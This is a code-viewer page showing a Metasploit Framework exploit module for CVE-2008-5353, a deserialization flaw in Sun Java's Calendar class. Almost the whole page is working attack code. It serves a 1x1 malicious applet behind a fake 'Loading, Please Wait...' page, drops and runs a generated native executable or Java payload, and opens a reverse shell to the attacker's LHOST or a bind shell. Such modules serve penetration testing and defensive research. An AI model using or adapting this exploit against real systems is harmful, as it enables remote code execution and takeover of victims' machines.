Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_calendar_deserialize.rb
19718 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
12
# Superceded by java_atomicreferencearray
13
# include Msf::Exploit::Remote::BrowserAutopwn
14
# autopwn_info({ :javascript => false })
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Sun Java Calendar Deserialization Privilege Escalation',
21
'Description' => %q{
22
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
23
24
The payload can be either a native payload which is generated as an executable and
25
dropped/executed on the target or a shell from within the Java applet in the target browser.
26
27
The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16
28
and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [ 'sf', 'hdm' ],
32
'References' => [
33
[ 'CVE', '2008-5353' ],
34
[ 'OSVDB', '50500'],
35
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],
36
[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
37
[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ]
38
],
39
'Platform' => %w(linux osx solaris win),
40
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
41
'Targets' => [
42
[
43
'Generic (Java Payload)',
44
{
45
'Platform' => ['java'],
46
'Arch' => ARCH_JAVA
47
}
48
],
49
[
50
'Windows x86 (Native Payload)',
51
{
52
'Platform' => 'win',
53
'Arch' => ARCH_X86
54
}
55
],
56
[
57
'Mac OS X PPC (Native Payload)',
58
{
59
'Platform' => 'osx',
60
'Arch' => ARCH_PPC
61
}
62
],
63
[
64
'Mac OS X x86 (Native Payload)',
65
{
66
'Platform' => 'osx',
67
'Arch' => ARCH_X86
68
}
69
],
70
[
71
'Linux x86 (Native Payload)',
72
{
73
'Platform' => 'linux',
74
'Arch' => ARCH_X86
75
}
76
]
77
],
78
'DefaultTarget' => 0,
79
'DisclosureDate' => '2008-12-03',
80
'Notes' => {
81
'Reliability' => UNKNOWN_RELIABILITY,
82
'Stability' => UNKNOWN_STABILITY,
83
'SideEffects' => UNKNOWN_SIDE_EFFECTS
84
}
85
)
86
)
87
end
88
89
def exploit
90
# load the static jar file
91
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar")
92
fd = File.open(path, "rb")
93
@jar_data = fd.read(fd.stat.size)
94
fd.close
95
96
super
97
end
98
99
def on_request_uri(cli, request)
100
data = nil
101
host = nil
102
port = nil
103
104
if !request.uri.match(/\.jar$/i)
105
if !request.uri.match(/\/$/)
106
send_redirect(cli, get_resource + '/', '')
107
return
108
end
109
110
print_status("#{name} handling request")
111
112
payload = regenerate_payload(cli)
113
if !payload
114
print_error("Failed to generate the payload.")
115
return
116
end
117
118
if target.name == 'Generic (Java Payload)'
119
if datastore['LHOST']
120
jar = payload.encoded
121
host = datastore['LHOST']
122
port = datastore['LPORT']
123
print_status("Payload will be a Java reverse shell")
124
else
125
port = datastore['LPORT']
126
host = cli.peerhost
127
print_status("Payload will be a Java bind shell")
128
end
129
if jar
130
print_status("Generated jar to drop (#{jar.length} bytes).")
131
jar = Rex::Text.to_hex(jar, prefix = "")
132
else
133
print_error("Failed to generate the executable.")
134
return
135
end
136
else
137
138
# NOTE: The EXE mixin automagically handles detection of arch/platform
139
data = generate_payload_exe
140
141
print_status("Generated executable to drop (#{data.length} bytes).")
142
data = Rex::Text.to_hex(data, prefix = "")
143
144
end
145
146
send_response_html(cli, generate_html(data, jar, host, port), 'Content-Type' => 'text/html')
147
return
148
end
149
150
print_status("Sending Applet.jar")
151
send_response(cli, generate_jar, 'Content-Type' => "application/octet-stream")
152
153
handler(cli)
154
end
155
156
def generate_html(data, jar, host, port)
157
html = "<html><head><title>Loading, Please Wait...</title></head>"
158
html += "<body><center><p>Loading, Please Wait...</p></center>"
159
html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
160
html += "<param name=\"data\" value=\"#{data}\"/>" if data
161
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
162
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
163
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
164
html += "</applet></body></html>"
165
html
166
end
167
168
def generate_jar
169
@jar_data
170
end
171
end
172
173